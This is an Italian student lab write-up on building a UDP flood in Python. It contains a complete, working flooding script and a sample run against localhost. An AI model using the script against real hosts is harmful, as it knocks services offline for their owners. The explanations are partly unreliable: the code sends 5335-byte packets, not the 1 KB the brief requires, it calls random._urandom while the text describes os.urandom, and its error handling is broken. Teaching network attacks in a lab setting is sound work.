PYTHON(3)

Attacchi di tipo DDoS

Gli attacchi di tipo DDoS, ovvero Distributed Denial of Service, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con i conseguenti impatti sul business delle aziende. L'esercizio di oggi consiste nello scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP verso una macchina target che è in ascolto su una porta UDP casuale (nel nostro caso un DoS).

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target input
- Il programma deve richiedere l'inserimento della porta target input
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto – Suggerimento: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare input

CODICE

1) CODICE

```
GNU nano 7.2                    UDPflood.py
import socket
import random

IP = input("Inserisci l'indirizzo IP del target: ")
porta = int(input("Inserisci la porta del target: "))
numero_pacchetti = int(input("Inserisci il numero di pacchetti da inviare: "))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    target = (IP, porta)
except:
    s.close()
    print("\n[!] Errore!!")

data = random._urandom(5335)

for x in range(numero_pacchetti):
    s.sendto(data, target)
    print("#", x, "UDP inviato!\n")
```

import socket: i socket sono dei canali di comunicazione virtuale tra dispositivi, normalmente tra client e server. Inviano quindi dei messaggi attraverso la rete.

import random: carica il modulo random, che contiene un numero di funzioni relative alla generazione di numeri casuali che genera un numero float casuale compreso tra 0.0 e 1.0,

'try:' = Il blocco try consente di verificare la presenza di errori in un blocco di codice:

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM. = Una coppia (host, porta) viene utilizzata per la famiglia di indirizzi AF_INET, dove host è una stringa che rappresenta un nome host nella notazione del dominio Internet o un indirizzo IPv4 come '100.50.200.5', e la porta è un numero intero.

'except:' = Il blocco except consente di gestire l'errore.

data = random._urandom (5335) = il metodo urandom() viene utilizzato per generare una stringa di byte casuali di dimensioni adatte all'uso crittografico oppure possiamo dire che questo metodo genera una stringa contenente caratteri casuali. Sintassi: os.urandom(size) Parametro: size: è la dimensione dei byte casuali della stringa.

for x in range(numero_pacchetti) = qui, x è solo un nome di variabile utilizzato per memorizzare il valore intero della posizione corrente nell'intervallo del ciclo e itera attraverso l'intervallo di un ciclo.

s.sendto(data, target) = La funzione sendto() invia i dati in forma di byte da un socket UDP a un altro socket UDP. La comunicazione è tra un client e un server.

2) ESEGUO IL CODICE

```
┌──(jessica㉿kali)-[~]
└─$ python UDPflood.py
Inserisci l'indirizzo IP del target: localhost
Inserisci la porta del target: 1024
Inserisci il numero di pacchetti da inviare: 23
# 0 UDP inviato!

# 1 UDP inviato!

# 2 UDP inviato!

# 3 UDP inviato!

# 4 UDP inviato!

# 5 UDP inviato!
```

In questo caso, avendo inserito come IP target 'localhost', durante la cattura con Wireshark, risulta che l'IP del pacchetto di provenienza sia la stessa di quella di destinazione

3) CATTURA DEI PACCHETTI CON WIRESHARK